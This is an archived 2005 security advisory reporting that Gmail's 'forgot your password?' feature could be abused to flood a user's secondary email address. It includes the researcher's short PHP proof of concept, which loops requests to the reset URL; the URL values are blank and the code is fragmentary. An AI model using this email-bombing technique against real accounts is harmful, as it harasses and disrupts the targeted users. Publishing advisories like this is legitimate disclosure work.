Gmail 'forgot your password?' Feature Lets Remote Users Flood a User's Secondary E-mail Account

Gmail 'forgot your password?' Feature Lets Remote Users Flood a
User's Secondary E-mail Account 

SecurityTracker Alert ID:  1012749
SecurityTracker URL:
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 2 2005
Impact:  Host/resource access via network
Exploit Included:  Yes  
Description:  Joxean Koret reported a vulnerability in the Gmail
service. A remote user can cause a large amount of e-mail to be
sent to the target user's secondary address. 

The Gmail service 'forgot your password?' feature allows a remote
user to load a certain URL to cause the service to send a
validation e-mail to the specified user's secondary e-mail
address. There is no limit to the number of messages sent over a
period of time, so a remote user can flood the target user's
secondary e-mail address. 

The vendor was notified on September 26, 2004.
Impact:  A remote user can cause a large amount of e-mail to be
sent to the target user's secondary e-mail account. Solution:  No
solution was available at the time of this entry. Vendor URL: (Links to External Site) Cause:  Access control
error, State error Reported By:  Joxean Koret
<> Message History:   None. 

Date:  Sat, 01 Jan 2005 20:15:14 +0000
From:  Joxean Koret <>
Subject:  GMail E-Mail Bomber


              GMail E-Mail Bomber

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country
Affected software description:
GMail - Gmail is an experiment in a new kind of webmail, built on
the idea that you should never have to delete mail and you should 
always be able to find the message you want
Web :
A. E-Mail Bomber
The problem is the following : If any gmail user forgots the
password he/she can answer a question or send to her/sher secondary 
e-mail addresses a password reset confirmation e-mail. Well, with 
GMail we can flood the secondary e-mail box of GMail users.
I wrote a very basic Proof Of Concept in PHP : 
* GMail bomber Proof Of Concept
* Date time : Sun. Sep-26-2004
* Author : Jose Antonio Coret
* E-Mail : 
$gmail_account     = "";
$google_cgi        =
$google_cgi_params =
$emails_to_send    = 15;
$bomber_url        = "$google_cgi$google_cgi_params";
        echo("GMail bomber\n");
        echo("P.O.C. provided by Jose Antonio Coret (Joxean
        echo("Starting flood against $gmail_account ... \n\n");
        for ($i = 0;$i<$emails_to_send;$i++)
                echo("Sending e-mail number " . ($i + 1) . " ...
                "); $fd = fopen($bomber_url, "r");
The fix:
The vendor was contacted on Sun, 26 Sep 2004 21:11:55 but the
problem still 
continues unfixed at Sun, 26 Dec 2004.
The information in this advisory and any of its demonstrations is
"as is" without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a
result of using the information or demonstrations provided in any
part of this advisory. 


Kayode Okeyode
1/3/2005 2:05:22 PM 16608 articles. 3 followers. Follow

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